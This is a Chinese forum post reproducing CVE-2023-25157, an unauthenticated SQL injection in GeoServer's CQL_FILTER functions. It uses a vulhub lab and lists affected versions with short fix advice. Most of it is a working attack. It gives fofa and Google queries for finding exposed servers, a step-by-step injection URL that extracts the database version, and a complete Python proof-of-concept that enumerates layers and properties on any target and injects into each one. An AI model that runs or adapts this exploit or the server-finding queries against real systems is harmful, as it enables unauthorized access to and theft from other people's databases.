GeoServer SQL 注入漏洞复现(CVE-2023-25157)附poc

打印 上一主题 下一主题

主题 520|帖子 520|积分 1560

简介

GeoServer是OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布舆图数据,答应用户对特征数据进行更新、删除、插入操作,通过 GeoServer 可以比较容易的在用户之间敏捷共享空间地理信息。
漏洞概述

在2.22.1和2.21.4之前版本中,在开放地理空间同盟(OGC)标准定义的过滤器和函数表达式中发现了一个SQL注入题目,未经身份验证的攻击者可以利用该漏洞进行SQL注入,实行恶意代码。
影响版本

geoserver<2.18.7
2.19.0<=geoserver<2.19.7
2.20.0<=geoserver<2.20.7
2.21.0<=geoserver<2.21.4
2.22.0<=geoserver<2.22.2
搜索语法

fofa: icon_hash=“97540678”
google: inurl:“/geoserver/ows?service=wfs”
漏洞复现

利用vulhub靶场复现
  1. cd vulhub-master/
  2. cd geoserver/
  3. cd CVE-2023-25157
  4. docker-compose up -d
  5. docker-compose ps
复制代码
1.访问http://yourip:8080/geoserver进入首页

2.获取每个功能名称
在进行注入之前,首先要获取地理图层列表信息,这是sql注入payload中的一个必要参数
访问以下url获取:
http://192.168.43.161:8080/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities
<Name>标签中的信息,就是地理图层列表。这里选择vulhub:example作为地理图层列表信息

3.获取功能的属性
将上一步获取的typeName的name属性值拼接到url中,构成url如下:
http://192.168.43.161:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&maxFeatures=1&outputFormat=json

4.构造SQL 注入
Feature type (table) name: vulhub:example
One of attribute from feature type: name
利用这些已知参数,拼接成payload:
http://192.168.43.161:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith(name,%27x%27%27)%20=%20true%20and%201=(SELECT%20CAST%20((SELECT%20version())%20AS%20integer))%20–%20%27)%20=%20true

成功获取到数据库版本号
修复发起

升级 org.geoserver.community:gs-jdbcconfig 到 2.21.4 或 2.22.2 或更高版本
禁用 PostGIS Datastore 的 encode functions 或利用 preparedStatements 处理 sql 语句
poc

利用方法:python CVE-2023-25157.py http://your-ip:8080/geoserver/ows
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-
  3. import requests
  4. import sys
  5. import xml.etree.ElementTree as ET
  6. import json
  7. # Colored output codes
  8. GREEN = '\033[92m'
  9. YELLOW = '\033[93m'
  10. RED = '\033[91m'
  11. BOLD = '\033[1m'
  12. ENDC = '\033[0m'
  13. # Check if the script is run without parameters
  14. if len(sys.argv) == 1:
  15.     print(f"{YELLOW}This script requires a URL parameter.{ENDC}")
  16.     print(f"{YELLOW}Usage: python3 {sys.argv[0]} <URL>{ENDC}")
  17.     sys.exit(1)
  18. # URL and proxy settings
  19. URL = sys.argv[1]
  20. PROXY_ENABLED = False
  21. PROXY = "http://127.0.0.1:8080/" if PROXY_ENABLED else None
  22. response = requests.get(URL + "/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities",
  23.                         proxies={"http": PROXY}, verify=False)
  24. if response.status_code == 200:
  25.     # Parse the XML response and extract the Name from each FeatureType and store in a list
  26.     root = ET.fromstring(response.text)
  27.     feature_types = root.findall('.//{http://www.opengis.net/wfs}FeatureType')
  28.     names = [feature_type.findtext('{http://www.opengis.net/wfs}Name') for feature_type in feature_types]
  29.     # Print the feature names
  30.     print(f"{GREEN}Available feature names:{ENDC}")
  31.     for name in names:
  32.         print(f"- {name}")
  33.     # Send requests for each feature name and CQL_FILTER type
  34.     cql_filters = [
  35.         "strStartsWith"]  # We can also exploit other filter/functions like "PropertyIsLike", "strEndsWith", "strStartsWith", "FeatureId", "jsonArrayContains", "DWithin" etc.
  36.     for name in names:
  37.         for cql_filter in cql_filters:
  38.             endpoint = f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&maxFeatures=1&outputFormat=json"
  39.             response = requests.get(URL + endpoint, proxies={"http": PROXY}, verify=False)
  40.             if response.status_code == 200:
  41.                 json_data = json.loads(response.text)
  42.                 try:
  43.                     properties = json_data['features'][0]['properties']
  44.                 except  IndexError:
  45.                     print("Error: 超出范围")
  46.                 property_names = list(properties.keys())
  47.                 print(f"\n{GREEN}Available Properties for {name}:{ENDC}")
  48.                 for property_name in property_names:
  49.                     print(f"- {property_name}")
  50.                 print(f"\n{YELLOW}Sending requests for each property name:{ENDC}")
  51.                 for property_name in property_names:
  52.                     endpoint = f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&CQL_FILTER={cql_filter}%28{property_name}%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true"
  53.                     response = requests.get(URL + endpoint, proxies={"http": PROXY}, verify=False)
  54.                     print(
  55.                         f"[+] Sending request for {BOLD}{name}{ENDC} with Property {BOLD}{property_name}{ENDC} and CQL_FILTER: {BOLD}{cql_filter}{ENDC}")
  56.                     if response.status_code == 200:
  57.                         root = ET.fromstring(response.text)
  58.                         error_message = root.findtext('.//{http://www.opengis.net/ogc}ServiceException')
  59.                         print(f"{GREEN}{error_message}{ENDC}")
  60.                     else:
  61.                         print(f"{RED}Request failed{ENDC}")
  62.             else:
  63.                 print(f"{RED}Request failed{ENDC}")
  64. else:
  65.     print(f"{RED}Failed to retrieve XML data{ENDC}")
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

八卦阵

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表